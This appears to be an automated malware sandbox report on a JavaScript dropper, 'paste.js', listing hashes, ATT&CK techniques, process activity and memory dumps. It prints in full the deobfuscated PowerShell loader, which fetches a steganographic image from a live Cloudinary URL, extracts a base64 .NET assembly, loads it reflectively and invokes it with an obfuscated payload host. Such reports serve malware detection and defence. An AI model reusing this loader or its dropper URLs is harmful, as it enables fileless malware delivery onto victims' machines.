6c15201ff41059d46bce1d287fd60ca954e9a1ae76e22dc475f953e4328acde8

Analysis

max time kernel
14s
max time network
18s
platform
windows7_x64
resource
win7-20241010-en
resource tags

arch:x64arch:x86image:win7-20241010-enlocale:en-usos:windows7-x64system
submitted
29/01/2025, 19:04

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General

Target

paste.js
Size

3KB
MD5

affbcba0899f7fb6af87418706eabb0c
SHA1

46e4e6b23c523a45a65dbd916f98f5476a4cd09a
SHA256

6c15201ff41059d46bce1d287fd60ca954e9a1ae76e22dc475f953e4328acde8
SHA512

68acae9c905e545f6d1fcec0255a4d13b9f0c8ddafb597b0ea2a686a6349d089a6736e6355cad19086ca66ad4c12e5ab732dc20990230636e3b5dbab374bc6f0

Score

10^/10

execution

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

https://res.cloudinary.com/daxwua63y/image/upload/v1737696171/heke2pmteuw8sqsplhkl.jpg

exe.dropper

https://res.cloudinary.com/daxwua63y/image/upload/v1737696171/heke2pmteuw8sqsplhkl.jpg

Signatures

Blocklisted process makes network request 2 IoCs

flow	pid	Process
5	1636	powershell.exe
7	1636	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
1636	powershell.exe

Command and Scripting Interpreter: JavaScript 1 TTPs
execution

JavaScript
T1059.007
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
1636	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	1636	powershell.exe

Suspicious use of WriteProcessMemory 3 IoCs

description	pid	Process	procid_target
PID 1704 wrote to memory of 1636	1704	wscript.exe	29
PID 1704 wrote to memory of 1636	1704	wscript.exe	29
PID 1704 wrote to memory of 1636	1704	wscript.exe	29

C:\Windows\system32\wscript.exe
wscript.exe C:\Users\Admin\AppData\Local\Temp\paste.js
1⤵
- Suspicious use of WriteProcessMemory
PID:1704
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command "$originalText = '#x#.621/elif/#en.salij//:sp##h';$restoredText = $originalText -replace '#', 't';$imageUrl = 'https://res.cloudinary.com/daxwua63y/image/upload/v1737696171/heke2pmteuw8sqsplhkl.jpg';$webClient = New-Object System.Net.WebClient;$imageBytes = $webClient.DownloadData($imageUrl);$imageText = [System.Text.Encoding]::UTF8.GetString($imageBytes);$startFlag = '<<BASE64_START>>';$endFlag = '<<BASE64_END>>';$startIndex = $imageText.IndexOf($startFlag);$endIndex = $imageText.IndexOf($endFlag);$startIndex -ge 0 -and $endIndex -gt $startIndex;$startIndex += $startFlag.Length;$base64Length = $endIndex - $startIndex;$base64Command = $imageText.Substring($startIndex, $base64Length);$commandBytes = [System.Convert]::FromBase64String($base64Command);$loadedAssembly = [System.Reflection.Assembly]::Load($commandBytes);$type = [ClassLibrary1.Home].GetMethod('main').Invoke($null, [object[]] @($restoredText,'false','MSBuild','false'))"
  2⤵
  - Blocklisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1636

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

JavaScript

T1059.007

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\Cab6FD5.tmp

Filesize
70KB

MD5
49aebf8cbd62d92ac215b2923fb1b9f5

SHA1
1723be06719828dda65ad804298d0431f6aff976

SHA256
b33efcb95235b98b48508e019afa4b7655e80cf071defabd8b2123fc8b29307f

SHA512
bf86116b015fb56709516d686e168e7c9c68365136231cc51d0b6542ae95323a71d2c7acec84aad7dcecc2e410843f6d82a0a6d51b9acfc721a9c84fdd877b5b

Download Submit
C:\Users\Admin\AppData\Local\Temp\Tar7016.tmp

Filesize
181KB

MD5
4ea6026cf93ec6338144661bf1202cd1

SHA1
a1dec9044f750ad887935a01430bf49322fbdcb7

SHA256
8efbc21559ef8b1bcf526800d8070baad42474ce7198e26fa771dbb41a76b1d8

SHA512
6c7e0980e39aacf4c3689802353f464a08cd17753bd210ee997e5f2a455deb4f287a9ef74d84579dbde49bc96213cd2b8b247723919c412ea980aa6e6bfe218b

Download Submit
memory/1636-4-0x000007FEF60EE000-0x000007FEF60EF000-memory.dmp

Filesize
4KB

Download
memory/1636-5-0x000000001B130000-0x000000001B412000-memory.dmp

Filesize
2.9MB

Download
memory/1636-6-0x00000000026F0000-0x00000000026F8000-memory.dmp

Filesize
32KB

Download
memory/1636-7-0x000007FEF5E30000-0x000007FEF67CD000-memory.dmp

Filesize
9.6MB

Download
memory/1636-8-0x000007FEF5E30000-0x000007FEF67CD000-memory.dmp

Filesize
9.6MB

Download
memory/1636-9-0x000007FEF5E30000-0x000007FEF67CD000-memory.dmp

Filesize
9.6MB

Download
memory/1636-10-0x000007FEF5E30000-0x000007FEF67CD000-memory.dmp

Filesize
9.6MB

Download
memory/1636-45-0x000007FEF5E30000-0x000007FEF67CD000-memory.dmp

Filesize
9.6MB

Download